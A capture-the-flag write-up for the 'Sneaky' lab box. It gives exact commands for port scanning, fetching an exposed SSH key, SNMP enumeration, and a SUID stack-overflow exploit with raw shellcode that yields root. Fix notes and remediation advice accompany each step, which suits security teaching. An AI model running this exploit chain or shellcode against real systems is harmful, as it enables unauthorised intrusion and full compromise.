Sneaky
Summary
My port-scanned the target and found only a web server and an SNMP daemon reachable over IPv4 — SSH appeared closed. Directory fuzzing on the web server uncovered an unprotected developer directory that Apache served with directory listing enabled, containing a plainly named SSH private key that any visitor could download without authentication.
A separate SNMP sweep using the default 'public' community string extracted the host's IPv6 address from interface MIB tables, revealing an SSH daemon invisible to the IPv4 scan. The stolen key authenticated directly as local user 'thrasivoulos' over IPv6 SSH, yielding a shell and the user flag.
On the host, a custom SUID-root 32-bit binary named 'chal' was compiled without a stack canary, with the non-executable stack protection (NX) disabled, and without address-space randomisation — every modern memory-safety control was absent. A stack buffer overflow with shellcode injection escalated me to root, achieving complete system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Some commands also carry a value in angle brackets — <main> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP port scan with service version detection.
$ nmap -p- --min-rate 3000 -T4 -Pn -sV $TARGET
80/tcp open
22/tcp filteredConfirm SNMP is listening on UDP 161.
$ nmap -sU -p 161 --min-rate 3000 -Pn $TARGETExact commands 2
Fuzz the web root to discover the /dev/ subdirectory.
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u http://$TARGET/FUZZ -mc 200,301,302,403Enumerate files inside /dev/ to find the SSH key.
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u http://$TARGET/dev/FUZZ -mc 200,301,302,403FixRemove the SSH private key from the web server and disable directory listingCritical
Exact commands 2
Download the exposed private key; chmod 600 is required so the SSH client will accept it.
$ curl -s -o id_rsa http://$TARGET/dev/sshkeyforadministratordifficulttimes && chmod 600 id_rsaVerify the download is a valid PEM private key before attempting authentication.
$ file id_rsaExact commands 2
Dump the IP-MIB ipAddressTable; decode the OID suffix bytes to reconstruct the IPv6 address.
$ snmpwalk -v2c -c public -On $TARGET 1.3.6.1.2.1.4.34.1.3Dump the interface table to correlate interface names with the discovered IPv6 address.
$ snmpwalk -v2c -c public -On $TARGET 1.3.6.1.2.1.2.2.1FixDisable SNMP or replace the default community string and restrict query accessHigh
Exact commands 2
IPv6 address used verbatim; both legacy algorithm flags are required for the old OpenSSH server to accept the key.
$ ssh -6 -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null thrasivoulos@$TARGETConfirm user identity and read the user flag from inside the SSH session.
$ id && cat /home/thrasivoulos/user.txt
uid=1000(thrasivoulos)Exact commands 4
Run on the target via the SSH session to list all SUID-root binaries.
$ find / -perm -4000 -type f -exec ls -la {} + 2>/dev/nullCopy the binary for offline analysis; IPv6 address must be wrapped in brackets in scp syntax.
$ scp -6 -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null thrasivoulos@"[$TARGET]":/usr/local/bin/chal ./chalConfirm 32-bit ELF architecture and verify the absence of all memory-safety protections.
$ file chal && checksec --file=chalLocate the strcpy call and measure the stack buffer size from the disassembly.
$ objdump -d -M intel chal | grep -A 20 '<main>'FixRemove the unsafe SUID binary or recompile it with full memory-safety protectionsCritical
Exact commands 7
Generate a 600-byte de Bruijn pattern to locate the exact EIP overwrite offset.
$ python3 -c "from pwn import cyclic; open('pattern','wb').write(cyclic(600))"Crash the local binary copy with the pattern; note the hex EIP value for the next step.
$ gdb -q -ex 'run $(cat pattern)' -ex 'info registers eip' -ex quit ./chal 2>&1 | grep eipReplace 0xAABBCCDD with the EIP value from gdb; output should be 362.
$ python3 -c "from pwn import cyclic_find, p32; print(cyclic_find(p32(0xAABBCCDD)))"Crash again with flat junk to capture the live esp value — the stack address at the moment of overflow.
$ gdb -q -ex 'run $(python3 -c "print(\"A\"*400)")' -ex 'info registers esp' -ex quit ./chal 2>&1 | grep espBuild the payload: NOP sled + setuid(0)+execve shellcode + padding to fill 362 bytes + return address pointing into the sled. Adjust the ret value (esp minus an offset) based on the actual esp from gdb.
$ python3 -c "import struct; nop=b'\x90'*100; sc=b'\x6a\x17\x58\x31\xdb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'; pad=b'A'*(362-len(nop)-len(sc)); ret=struct.pack('<I',0xbffff9b0-200); open('/tmp/payload','wb').write(nop+sc+pad+ret)"Transfer the binary payload to the target.
$ scp -6 -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null /tmp/payload thrasivoulos@"[$TARGET]":/tmp/payloadDeliver the payload to the SUID binary; the overflow redirects execution into the shellcode running as euid=0, then reads root.txt.
$ ssh -6 -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null thrasivoulos@$TARGET '/usr/local/bin/chal "$(cat /tmp/payload)" && cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 80/tcp | http |
| 161/udp | snmp |
| 22/tcp | ssh |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.